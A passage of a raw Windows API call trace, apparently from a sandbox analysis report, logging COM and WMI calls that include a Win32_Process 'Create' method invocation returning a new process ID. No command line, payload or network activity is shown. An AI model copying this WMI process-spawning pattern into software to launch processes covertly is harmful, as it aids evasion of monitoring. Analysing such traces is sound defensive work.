This=0x656270, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.758] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.758] WbemLocator:IUnknown:AddRef (This=0x5f4a18) returned 0x3 [0105.758] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x5f4a18) returned 0x0 [0105.758] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x3 [0105.758] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x2 [0105.758] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.758] WbemLocator:IUnknown:AddRef (This=0x5f4a18) returned 0x3 [0105.758] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x5f4a18) returned 0x0 [0105.759] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x3 [0105.759] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x2 [0105.759] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0105.759] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0105.759] IWbemServices:ExecMethod (in: This=0x63b6f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b49e3a0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b49e650, ppCallResult=0x0) returned 0x0 [0105.844] IWbemClassObject:Get (in: This=0x1b49e650, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2a80*=0, plFlavor=0x29e2a84*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1210, varVal2=0x0), pType=0x29e2a80*=19, plFlavor=0x29e2a84*=0) returned 0x0 [0105.845] IWbemClassObject:Get (in: This=0x1b49e650, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2a80*=19, plFlavor=0x29e2a84*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1210, varVal2=0x0), pType=0x29e2a80*=19, plFlavor=0x29e2a84*=0) returned 0x0 [0105.846] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0105.846] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0105.846] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0105.846] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.847] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45d870) returned 0x0 [0105.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d870, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0105.848] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d870, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x6558b0) returned 0x0 [0105.848] WbemDefPath:IUnknown:Release (This=0x1b45d870) returned 0x0 [0105.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x6558b0) returned 0x0 [0105.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0105.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0105.848] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0105.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0105.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0105.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45d8b0) returned 0x0 [0105.849] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d8b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.849] WbemDefPath:IUnknown:Release (This=0x1b45d8b0) returned 0x3 [0105.849] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0105.849] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0105.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0105.850] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0105.850] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0105.850] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0105.850] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0105.850] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x6558b0) returned 0x0 [0105.850] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0105.850] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0105.850] WbemDefPath:IWbemPath:SetText (This=0x6558b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0105.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0105.850] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0105.850] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0105.851] WbemDefPath:IWbemPath:GetInfo (in: This=0x6558b0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0105.851] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0105.851] WbemDefPath:IWbemPath:GetInfo (in: This=0x6558b0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0105.851] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0105.851] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0105.851] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0105.851] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.853] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45d8d0) returned 0x0 [0105.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d8d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0105.853] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d8d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x655970) returned 0x0 [0105.853] WbemDefPath:IUnknown:Release (This=0x1b45d8d0) returned 0x0 [0105.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x655970) returned 0x0 [0105.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0105.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0105.854] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0105.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0105.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0105.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45d930) returned 0x0 [0105.854] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d930, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.855] WbemDefPath:IUnknown:Release (This=0x1b45d930) returned 0x3 [0105.855] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0105.855] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0105.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0105.855] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0105.855] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0105.855] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0105.855] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0105.856] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x655970) returned 0x0 [0105.856] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0105.856] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0105.856] WbemDefPath:IWbemPath:SetText (This=0x655970, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0105.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0105.856] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0105.856] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0105.856] WbemDefPath:IWbemPath:GetInfo (in: This=0x655970, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0105.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0105.857] WbemDefPath:IWbemPath:GetInfo (in: This=0x655970, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0105.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0105.861] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0105.861] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0105.861] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.862] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0105.862] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0105.862] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0105.862] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.863] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b45d9f0) returned 0x0 [0105.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d9f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0105.863] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d9f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x656570) returned 0x0 [0105.864] WbemDefPath:IUnknown:Release (This=0x1b45d9f0) returned 0x0 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x656570) returned 0x0 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0105.864] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0105.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b45d370) returned 0x0 [0105.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d370, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.865] WbemDefPath:IUnknown:Release (This=0x1b45d370) returned 0x3 [0105.865] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0105.865] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0105.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0105.865] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0105.865] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0105.865] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0105.865] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0105.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x656570) returned 0x0 [0105.866] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0105.866] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0105.866] WbemDefPath:IWbemPath:SetText (This=0x656570, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0105.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0105.866] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, 